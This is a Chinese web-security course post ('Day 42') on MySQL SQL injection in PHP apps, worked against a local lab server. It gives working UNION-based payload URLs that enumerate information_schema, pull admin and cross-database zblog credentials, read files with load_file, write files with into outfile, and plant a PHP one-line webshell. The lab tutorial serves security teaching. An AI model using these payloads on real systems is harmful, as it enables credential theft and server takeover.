第42天:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

本文主要是介绍第42天:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第四十二天

image-20240508222939488

一、PHP-MYSQL-SQL注入-常规查询

1.PHP-MYSQL-Web组成架构

MySQL(统一管理)

​ root(自带默认)

​ 网站A testA

​ 网站B testB

MySQL(一对一管理)

​ testA用户

​ 网站A testA

​ testB用户

​ 网站B testB

access无数据库用户

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户

网站上面的数据库都在mysql中,由root或一对一用户去管理

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理

可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

1.统一交root用户管理
  • 每个网站的数据库都由root用户统一管理
  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 root
  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 root
2.一对一用户管理(推荐)
  • 自己的网站单独创建数据库用户去管理自己的数据库

  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库zblog用户 zblog

  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库demo用户 demo01

3.SQL注入

**原因:**就是对接收的参数值没有进行过滤,直接查询到了数据库

**攻击手法:**利用SQL语句执行查询你想要的东西(SQL语句能做什么你就能做什么)

**作用:**SQL语句由谁决定 => 数据库类型决定(为什么有MySQL注入、oracle注入叫法的原因)

**不同数据库的原因:**熟悉不同数据库的功能和SQL注入产生的影响

4.SQL注入流程

MYSQL注入:(目的获取当前web权限)

  1. 判断常见四个信息(系统,用户,数据库名,版本)

  2. 根据四个信息去选择方案

  3. root用户:先测试读写,后测试获取数据

  4. 非root用户:直接测试获取数据

2.PHP-MYSQL-SQL常规查询

获取相关数据流程:

  1. 数据库版本-看是否符合information_schema查询-version(),版本大于5.0就可以查询到数据库下的数据库名及表名,列名信息的数据库

  2. 数据库用户-看是否符合ROOT型注入攻击-user()

  3. 当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os,Linux对大小写敏感

  4. 数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值

二、PHP-MYSQL-SQL注入-跨库查询

1.跨库查询架构

​ Zblog

​ zbp_member

​ mem_Name,mem_Password

​ 数据

2.跨库查询

  • 数据库统一管理(root用户)

  • 每个网站的数据库都由root用户统一管理

  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 zblog

  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 demo01

3.跨库注入

通过B网站的注入点获取A网站的账号密码

影响条件:当前数据库ROOT用户权限,只有root用户才能进行跨库查询

**注入流程:**同常规查询

三、PHP-MYSQL-SQL注入-文件读写

1.影响条件

  1. 当前数据库用户权限root
  2. secure-file-priv设置

测试不同数据库用户:root、demo

union select 1,load_file(‘d:\1.txt’),3,4,5,6

union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’

2.读写的路径的问题

  1. 报错显示获取路径

  2. phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径读取有价值信息

3.编码绕过

  • 如果限制了utf-8编码查询,可以改成16进制的

  • 解决:单引号过滤绕过方式

  • SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

四、环境复现

1.PHP-MYSQL-Web组成架构

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

2.PHP-MYSQL-SQL常规查询

根据MySQL数据库架构一步步进行查询

mysql

​ demo01

​ admin

​ username,password,id

​ 数据

1.对数据库列数进行爆破

Untitled

order by 6:这是一个排序语句代表按照第6列进行排序,如果输入的值不是6,都会报错,只有输入6才会回显正确

image-20240508201657720

2.爆出正确的列数之后进行联合查询寻找注入点
1.使用联合查询法看页面爆出的数字,这里爆出页面的4和5还有标签页的2,判断这里有注入点,如果没有爆出数字,那就在id=1这里改成id=-1让数据库进行报错,得到注入点

image-20240508202236196

2.根据之前将的注入思路,对爆出的注入点进行数据库版本查询、数据库名查询、操作系统类型查询

image-20240508203714114

3.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01'

查询tablename列的值,来源于information_schema.tables表,条件是列名要是固定是demo01的数据,不然数据太多无法判断,group_concat是用于显示全部信息的

Untitled

4.从字面上理解admin列是最重要的,所以固定admin为接下来查询的内容
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'

查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)

Untitled

Untitled

5.之前所有的查询都是为了最后一步
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,username,password,6 from admin limit 0,1

这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码,以此类推可以查询第二行第三行的数据内容

Untitled

3.PHP-MYSQL-SQL跨库查询

根据MySQL数据库架构一步步进行查询

Zblog

​ zbp_member

​ mem_Name,mem_Password

​ 数据

1.获取mysql下所有数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

image-20240508211259734

2.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'

image-20240508211415000

3.爆出了很多列名,选取关键的zbp_member(像用户列表)进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'

image-20240508211626832

4.最后的查询注意是跨库查询,所以在zbp_menber表前加上zblog数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,mem_Name,Password,6 from zblog.zbp_menber

image-20240508211817000

4.PHP-MYSQL-SQL文件读写

1.先尝试读取文件内容

image-20240508220323312

2.读取数据库配置文件得到数据库的目录位置,因为服务器是Apache搭建的,有默认的存储位置,网上也能查询到很多默认路径,还有方法就是有些代码执行错误也会爆出路径,还有就是phpinfo文件里也有路径

image-20240508215428657

Untitled

3.因为文件读写是root权限,同时也可以进行写操作,在能读取的文件中写入一句话木马

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

4.将写好的payload进行输出,得到webshell权限

image-20240508220729322


这篇关于第42天:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/974532

相关文章

MySQL 8 中的一个强大功能 JSON_TABLE示例详解

《MySQL8中的一个强大功能JSON_TABLE示例详解》JSON_TABLE是MySQL8中引入的一个强大功能,它允许用户将JSON数据转换为关系表格式,从而可以更方便地在SQL查询中处理J... 目录基本语法示例示例查询解释应用场景不适用场景1. ‌jsON 数据结构过于复杂或动态变化‌2. ‌性能要

MySQL字符串常用函数详解

《MySQL字符串常用函数详解》本文给大家介绍MySQL字符串常用函数,本文结合实例代码给大家介绍的非常详细,对大家学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql字符串常用函数一、获取二、大小写转换三、拼接四、截取五、比较、反转、替换六、去空白、填充MySQL字符串常用函数一、

如何使用Lombok进行spring 注入

《如何使用Lombok进行spring注入》本文介绍如何用Lombok简化Spring注入,推荐优先使用setter注入,通过注解自动生成getter/setter及构造器,减少冗余代码,提升开发效... Lombok为了开发环境简化代码,好处不用多说。spring 注入方式为2种,构造器注入和setter

MySQL中比较运算符的具体使用

《MySQL中比较运算符的具体使用》本文介绍了SQL中常用的符号类型和非符号类型运算符,符号类型运算符包括等于(=)、安全等于(=)、不等于(/!=)、大小比较(,=,,=)等,感兴趣的可以了解一下... 目录符号类型运算符1. 等于运算符=2. 安全等于运算符<=>3. 不等于运算符<>或!=4. 小于运

虚拟机Centos7安装MySQL数据库实践

《虚拟机Centos7安装MySQL数据库实践》用户分享在虚拟机安装MySQL的全过程及常见问题解决方案,包括处理GPG密钥、修改密码策略、配置远程访问权限及防火墙设置,最终通过关闭防火墙和停止Net... 目录安装mysql数据库下载wget命令下载MySQL安装包安装MySQL安装MySQL服务安装完成

MySQL进行数据库审计的详细步骤和示例代码

《MySQL进行数据库审计的详细步骤和示例代码》数据库审计通过触发器、内置功能及第三方工具记录和监控数据库活动,确保安全、完整与合规,Java代码实现自动化日志记录,整合分析系统提升监控效率,本文给大... 目录一、数据库审计的基本概念二、使用触发器进行数据库审计1. 创建审计表2. 创建触发器三、Java

MySQL逻辑删除与唯一索引冲突解决方案

《MySQL逻辑删除与唯一索引冲突解决方案》本文探讨MySQL逻辑删除与唯一索引冲突问题,提出四种解决方案:复合索引+时间戳、修改唯一字段、历史表、业务层校验,推荐方案1和方案3,适用于不同场景,感兴... 目录问题背景问题复现解决方案解决方案1.复合唯一索引 + 时间戳删除字段解决方案2:删除后修改唯一字

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

MySQL 主从复制部署及验证(示例详解)

《MySQL主从复制部署及验证(示例详解)》本文介绍MySQL主从复制部署步骤及学校管理数据库创建脚本,包含表结构设计、示例数据插入和查询语句,用于验证主从同步功能,感兴趣的朋友一起看看吧... 目录mysql 主从复制部署指南部署步骤1.环境准备2. 主服务器配置3. 创建复制用户4. 获取主服务器状态5

nginx中端口无权限的问题解决

《nginx中端口无权限的问题解决》当Nginx日志报错bind()to80failed(13:Permissiondenied)时,这通常是由于权限不足导致Nginx无法绑定到80端口,下面就来... 目录一、问题原因分析二、解决方案1. 以 root 权限运行 Nginx(不推荐)2. 为 Nginx